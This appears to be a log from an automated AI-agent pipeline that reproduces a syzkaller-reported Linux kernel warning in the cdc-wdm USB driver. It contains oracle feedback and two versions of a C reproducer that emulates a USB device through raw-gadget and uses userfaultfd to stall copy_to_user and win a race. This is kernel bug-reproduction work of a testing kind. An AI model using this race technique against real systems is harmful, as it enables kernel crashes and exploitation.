Args: map[Feedback:The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`. ProbePassed:false TerminalError: TitleMatches:false]
Results: map[Feedback:The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`. ProbePassed:false TerminalError: TitleMatches:false]
|
| 431/3 |
2026/09/11 23:46 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 432/2 |
2026/09/11 23:46 |
iteration |
4 |
7m
|
| 433/3 |
2026/09/11 23:46 |
action |
If |
0m
Args: map[OracleFeedback:The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`.]
|
| 434/4 |
2026/09/11 23:46 |
agent |
strategy-refiner |
0m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Current Strategy: An analysis of the timeout reveals that the reproducer got stuck because the `UFFDIO_COPY` ioctl in the `uffd_thread` failed. The `src` buffer provided to `UFFDIO_COPY` must be page-aligned, but it was allocated on the stack (`char page[4096];`), which does not guarantee page alignment. When `UFFDIO_COPY` fails, the page fault is never resolved, causing `copy_to_user()` in `wdm_read()` to hang indefinitely. Consequently, `service_outstanding_interrupt()` is never called, and the bug is not triggered.
To fix this, we must allocate the `src` buffer using `mmap()` to ensure it is page-aligned.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Feedback: The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`.
Reply: An analysis of the feedback reveals that the userfaultfd file descriptor was created with the `O_NONBLOCK` flag (which is standard behavior for `setup_uffd()` in the toolkit). Consequently, calling `read()` on it without waiting for it to become readable results in an immediate `-1` return with `errno = EAGAIN`, causing the fault handler thread to exit prematurely.
To fix this, we must use `poll()` to wait for the userfaultfd to become readable before attempting to read the `uffd_msg`.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
|
| 435/5 |
2026/09/11 23:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 8816
output: 4102
thoughts: 4397
Thoughts: **Addressing the `EAGAIN` Error with Userfaultfd**
